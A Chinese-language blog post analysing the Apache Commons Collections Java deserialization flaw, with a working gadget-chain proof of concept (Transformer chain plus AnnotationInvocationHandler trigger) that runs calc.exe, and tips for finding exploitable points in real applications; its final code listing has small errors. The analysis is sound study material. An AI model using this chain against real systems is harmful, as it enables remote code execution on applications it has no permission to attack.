偶尔走失,从未离开

本文主要介绍一下利用 Apache Commons Collections 库触发的反序列化漏洞

文章目录:

Apache Commons Collection 反序列化漏洞分析

0x01 前言

Apache.commons.collections 库为Java提供了很多基础常用的数据结构来方便开发,是一个许多应用都在使用的基础库。

而该库中实现的一些类,可以通过反序列化用来实现任意代码执行。

Weblogic, JBoss, Jenkins等应用中的反序列化漏洞能够得以利用,就是依靠了 Apache Commons Collections,这种库的存在极大地提升了反序列化问题的严重程度。

接下来详细介绍一下

0x02 漏洞原理

Collections 库中的 TransformedMap 类可以用来对原生map类进行包装,当我们修改Map中某个值时,就会触发预先定义好的操作:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

通过decorate()将原生map包装为一个TransformedMap,第二个参数对应key值改变时执行的操作,第三个参数对应value值改变时执行的操作。这些操作都是对应着一些transform()方法。

Transformer接口定义了transform()方法,该方法功能是 给定一个Object对象,经过某些转换之后,再返回一个对象。

该漏洞的触发,主要就是利用该接口的三个实现类:

ConstantTransformer
InvokerTransformer
ChainedTransformer
  • ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer 第65行:

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

ConstantTransformer类的transform()方法不进行实质处理,直接将构造函数接收到的对象返回

  • InvokerTransformer

org.apache.commons.collections.functors.InvokerTransformer 第106行

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
            ......略

该类是漏洞利用的核心类,它的transform()方法使用反射机制来调用函数,并且过程中涉及到的参数均是可控的:

  • ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 第110行

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

该类的构造函数接收一个数组,其transform()函数,分别调用了数组中各个元素的transform()函数,并使用object作为后一个transform()方法的参数,正如其函数名一样,链式地执行。

这时候,我们的构造思路已经清楚了,以Runtime.getRuntime().exec("calc.exe")为例:

1.使用 ConstantTransformer 获取我们的Runtime.class

2.使用 InvokerTransformer 分别逐步反射出exec方法

3.使用 ChainedTransformer 将 Runtime.class 链式的传递,并触发 ConstantTransformer,InvokerTransformer 的transform()函数

4.实例化一个 ChainedTransformer ,并设法触发 ChainedTransformer 类的tranform()方法。

这一过程很难表述,触发过程实际上是 4-3-1-2

ConstantTransformer 类构造函数的参数类型为 Object,

InvokerTransformer 类构造函数的参数类型为 String, Class[], Object[]

据此构造语句:

    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}),
            new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"})
    };
    Transformer transformChain = new ChainedTransformer(transformers);

接下来,我们将一个普通 map 转换成 transformChain ,然后修改其中一个值,来触发漏洞

// 创建普通的Map
Map normalMap = new HashMap();
normalMap.put("foo", "bar");

// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);

// 尝试修改TransformedMap中的一个值,成功执行命令
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");

0x03 漏洞利用

前面我们成功构造出了 PocChain ,但是想要实际地去利用,我们需要找到一个触发类,具备如下条件:

1.该类是可反序列化的,并且重写了readObject方法

2.该类重写readObject方法时,修改了 transformMap 中的值,触发了我们的利用链

这里的触发类并不是唯一的,以Java运行库中的 AnnotationInvocationHandler 类为例,该类有一个 Map 类型的成员变量 memberValues:

class AnnotationInvocationHandler implements InvocationHandler, Serializable 
{
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
    ......

可以发现,我们通过构造函数能够控制该参数

此外,该类重写了 readObject() 方法,并且对 memberValues 的每一项都调用了 setValue() 函数,完美地满足了我们的触发条件:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                // 此处触发一些列的Transformer
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

至此,我们的思路已经形成了。实例化一个 AnnotationInvocationHandler 类,然后将构造的 transformMap 作为构造函数传递进去,然后将其序列化。

在反序列化的时候,就可以实现任意命令执行,这里注意的是,引用default package中的类的构造函数,需要使用反射机制

public static void main(String[] args) throws Exception 
{
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {
            String.class }, new Object[] {"calc.exe"})};

    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("value", "value");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, outerMap);

这样就成功触发利用了。

在实际地漏洞挖掘中,拿到一个Java应用之后,首先寻找一个可控的反序列化参数点,也就是反序列化漏洞的触发点。

可以在源代码中全局搜索readObject()来寻找,也可以通过对流量抓包,检查流量中是否包含Java序列化数据

接下来,查看应用的 Class Path 是否包含相应的缺陷库(比如 Apache Commons Collections),若存在就可以进行利用了。

0x04 参考

 标签: 反序列化, java

作者  :  watcher


添加新评论